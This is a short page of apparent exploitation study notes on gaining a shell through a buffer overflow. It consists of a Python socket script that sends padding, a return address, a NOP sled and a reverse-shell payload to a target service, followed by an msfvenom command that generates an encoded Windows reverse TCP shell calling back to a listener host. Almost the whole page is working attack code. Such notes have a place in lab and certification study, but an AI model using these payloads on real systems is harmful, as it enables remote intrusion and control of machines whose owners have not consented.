Previous

Generating Shellcode and Gaining shell

šŸ
import socket, sys
username = "test"
payload = (<reverse_shell_payload>)
message = ā€œAā€ * <offset location> + ā€œ<reverse_format_value>ā€ + ā€œ\x90ā€ * 32 + payload
try:
print("Sending payload...")
s=socket.socket (socket.AF_INET,socket.SOCK_STREAM)
s.connect(('<target_machine_ip>',<port>))
s.recv(1024)
s.send(username + '\r\n')
s.recv(1024)
s.send(message + '\r\n')
s.recv(1024)
s.close()
except:
print("Cannot connect to the server")
sys.exit()

Will receive reverse shell successfully

šŸ’”
Note:- the above payload shutdown the whole webprocess when reverse shell is terminated but in some case we need to terminate only a thread of web server or program , In such case use EXITFUNC=THREAD like

msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.4 LPORT=443 EXITFUNC=thread -f c ā€“e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3dā€